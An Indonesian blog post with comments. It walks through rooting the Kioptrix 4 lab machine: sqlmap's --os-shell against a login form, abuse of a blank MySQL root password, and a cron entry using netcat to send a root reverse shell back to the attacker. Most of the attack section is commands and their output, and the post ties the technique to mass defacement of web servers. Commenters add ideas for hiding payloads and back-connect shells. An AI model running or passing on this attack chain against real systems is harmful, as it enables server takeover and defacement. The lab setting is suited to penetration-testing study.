Command :
user@unix:~$ su
Password:
su: Authentication failure
user@unix:~$
Pada perintah su, user harus memasukan password milik root. Jika berhasil, maka user akan menjadi root dalam sistem tersebut. Kebanyakan mesin komputer yang memiliki OS UNIX, password root TIDAK diberikan secara cuma-cuma kepada user lain. Artinya password root hanya diketahui oleh segelintir orang. Hal ini bertujuan agar sistem tetap aman, tanpa user 'nakal' yang menggunakan hak akses root untuk mengubah system.
Mengangkat hak akses juga bisa dilakukan dengan perintah
Command :
user@unix:~$ id
uid=2000(user) gid=2000(user) groups=2000(user)
user@unix:~$ sudo su
Password:
[sudo] password for www-data:
root@unix:~# id
uid=0(root) gid=0(root) groups=0(root)
Ini adalah sedikit contoh mengenai escalating privilege pada unix. Namun perusahaan yang cerdas, akan membatasi user untuk mengeksekusi perintah sudo su, agar user 'nakal' tidak menggunakan hak akses root untuk mengubah system.
Apa istimewanya root? Kali ini saya akan menjelaskan sedikit kemampuan khusus yang dimiliki oleh root. Yaitu menghapus data milik user lain.
Command :
www-data@red-dragon:/tmp$ echo "delete me if you can" > fuck_you
www-data@red-dragon:/tmp$ ls -l fuck_you
-rw-r--r-- 1 www-data www-data 21 2012-05-11 10:09 fuck_you
www-data@red-dragon:/tmp$ cat fuck_you
delete me if you can
User bernama www-data membuat sebuah file bernama fuck_you, yang berisi "delete me if you can". File ini terletak pada folder /tmp/.
Note : Tulisan yang berwarna kuning adalah hasil output dari perintah.
Kemudian datang user lain bernama couchdb. User ini sepertinya tidak suka dengan isi dan nama file yang dibuat oleh user www-data. Kemudian ia mencoba untuk menghapus file tersebut.
Command :
couchdb@red-dragon:/tmp$ ls -l fuck_you
-rw-r--r-- 1 www-data www-data 21 2012-05-11 10:09 fuck_you
couchdb@red-dragon:/tmp$ rm fuck_you
rm: remove write-protected regular file `fuck_you'? YES
rm: cannot remove `fuck_you': Operation not permitted
Mengapa bisa seperti ini? Telah kita ketahui sebelumnya bahwa file ini milik user www-data, ketika user couchdb hendak menghapus file ini, maka system berkata:
"File ini milik www-data, kau tidak bisa menghapus file ini..."
Perhatikan ketika root hendak menghapus file ini
Command :
root@red-dragon:/tmp# ls -l fuck_you
-rw-r--r-- 1 www-data www-data 21 2012-05-11 10:09 fuck_you
root@red-dragon:/tmp# rm fuck_you
root@red-dragon:/tmp# ls -l fuck_you
rm: cannot remove `fuck_you': No such file or directory
File berhasil dihapus oleh root. Pada kasus web server, penggunaan hak akses ini yang membatasi peretas dalam melakukan mass deface. Karena peretas masuk ke dalam system dengan user A, dan tidak bisa mengganti file index milik user B-Z. Pada tahap seperti ini, peretas harus dapat mengangkat hak aksesnya menjadi root agar peretas dapat melancarkan serangan mass deface pada web server target.
Kali ini saya akan menjelaskan skema peretasan hak akses root hanya dengan menggunakan SQLmap! Saya melanjutkan peretasan pada KIOPTRIX 4, yang berjalan pada VMware saya. Percobaan peretasan KIOPTRIX 4 sudah saya jelaskan pada postingan saya sebelumnya.
Skill Requirements:
- MYSQL command line
- Spawn Shell With SQLmap
Tools Requirements:
- SQLmap (dapat ditemukan pada backtrack 5)
Attacking Schema:
- Attacker mengendalikan shell system milik korban
- Mencari informasi mengenai password root database MySQL
- Login database dengan akses root, dan membuat evil database
- Meremote cron.d milik korban
- GAME OVER
EULA
Tutorial ini di tulis dengan tujuan edukasi, penyalahgunaan skill yang terdapat dalam tutorial ini adalah tanggung jawab pembaca.
Walktrough
Untuk mengendalikan shell system milik korban, kita dapat menggunakan SQLmap. Pada tutorial sebelumnya, saya telah menjelaskan cara melakukan spawn bash dengan SQLmap.
Command :
<< back|track 5 R2 [~] sqlmap -u "http://10.10.1.128/checklogin.php" --data="POSTDATA=myusername=admin&mypassword=admin&Submit=Login" --drop-set-cookie --os-shell
Setelah bash telah tereksekusi, kita akan menggunakan backdoor sederhana ini untuk melakukan rooting. Kali ini saya akan melakukan rooting melalui MYSQL yang berjalan pada system korban. Namun untuk mengakses database, saya harus dapat log in ke dalam database, dengan username dan password yang telah terdaftar pada database system. Pada posting sebelumnya mengenai Tricky Log In to MYSQL, kita telah mengetahui, bahwa root password bernilai blank. Artinya, kita dapat log in ke database dengan username root TANPA password.
Command :
os-shell> mysql -uroot -e "show databases;"
do you want to retrieve the command standard output? [Y/n/a]
command standard output:
---
Database
information_schema
members
mysql
---
Parameter -e akan mengeksekusi perintah SQL. Gunakan tanda petik dua untuk mengapit command MySQL, dan akhiri command mysql dengan titik koma. Setelah ini, kita buat database baru dengan nama exploit.
Command :
os-shell> mysql -uroot -e "create database exploit;"
do you want to retrieve the command standard output? [Y/n/a]
No output
os-shell> mysql -uroot -e "show databases;"
do you want to retrieve the command standard output? [Y/n/a]
command standard output:
---
Database
information_schema
exploit
members
mysql
---
Database exploit, telah berhasil dibuat. Selanjutnya kita buat tabel bernama rootme, dan kolom bernama stack dengan atribut text.
Note : Jika command mysql berhasil di eksekusi, maka tidak ada output yang tercipta (No Output).
Command :
os-shell> mysql -uroot -e "use exploit; create table rootme (stack text);"
do you want to retrieve the command standard output? [Y/n/a]
No output
os-shell> mysql -uroot -e "use exploit; show tables;"
do you want to retrieve the command standard output? [Y/n/a]
command standard output:
---
Tables_in_exploit
rootme
---
Selanjutnya kita input table ini dengan perintah cron.d. Ketahuilah rooting sebelumnya dengan burpsuite, dimana attacker menaruh perintah cron.d agar root mengeksekusi file tersebut, sehingga attacker mendapatkan shell dengan privilege root. Artikel dapat ditemukan di SQL Injection Level 4 Final [rooting]. Tabel ini kita masukan perintah cron.d seperti ini
Command :
* * * * * root /bin/nc.traditional 10.10.1.1 666 -e /bin/bash
Dimana 10.10.1.1 adalah IP saya (sesuaikan dengan IP address anda), dan 666 adalah port listener netcat saya. Kita input perintah ini ke dalam table rootme.
Command :
os-shell> mysql -uroot -e "use exploit; insert into rootme value ('* * * * * root /bin/nc.traditional 10.10.1.1 666 -e /bin/bash \r\n');"
do you want to retrieve the command standard output? [Y/n/a]
No output
os-shell> mysql -uroot -e "use exploit; select * from rootme;"
do you want to retrieve the command standard output? [Y/n/a]
command standard output:
---
stack
* * * * * root /bin/nc.traditional 10.10.1.1 666 -e /bin/bash
---
Kita jalankan netcat listener pada port 666 dari attacker.
Command :
<< back|track 5 R2 [~] nc -l -v -p 666
Setelah menunggu 2 menit, file cron.d tereksekusi, dan kita akan mendapatkan koneksi netcat dari korban dengan privilege root.
Command :
<< back|track 5 R2 [~] nc -l -v -p 666
listening on [any] 666 ...
10.10.1.128: inverse host lookup failed: Unknown host
connect to [10.10.1.1] from (UNKNOWN) [10.10.1.128] 49490
id
uid=0(root) gid=0(root) groups=0(root)
You are so....
pwned by : red-dragon
mas mksd dari nc.traditional
ReplyDeleteapa ya?
Apakah jenis ncnya?
^_^ nice mas bro tapi kayaknya sama aja mengandalkan keberuntungan nunggu si root eksekusi cron.d nya,, dalam system yang menampung ratusan user dan database si root kemungkinan kecil bakalan periksa dan eksekusi, mungkin bakalan nge listening ampe 1 minggu =))
ReplyDeleteada baiknya di taruh di /tmp dengan nama yang mencurigakan karena yang sering di periksa tuan root adalah folder /tmp yaitu tempat nongkolnya file dedemit,, ato dengan metasploit yang jika di eksekusi oleh si root langsung nge BC dari folder /boot ato sebagainya (tercopy otomatis),,,
upss om requis donk rooting via sqlninja :( ane tadi nyari itu ehh nyasar di mari :(
maaf kalau ada yg salah om,,
sun duluh :* emmmaccchh
newbie mohon pamit :)
Engga mengandalkan keberuntungan kok.. Perintah ini pasti dieksekusi root dalam waktu kurang dari 1 menit.. (=
ReplyDeleteThis comment has been removed by a blog administrator.
ReplyDeleteThis comment has been removed by a blog administrator.
ReplyDeleteThis comment has been removed by a blog administrator.
ReplyDeleteThis comment has been removed by a blog administrator.
ReplyDeleteThis comment has been removed by a blog administrator.
ReplyDeleteThis comment has been removed by a blog administrator.
ReplyDelete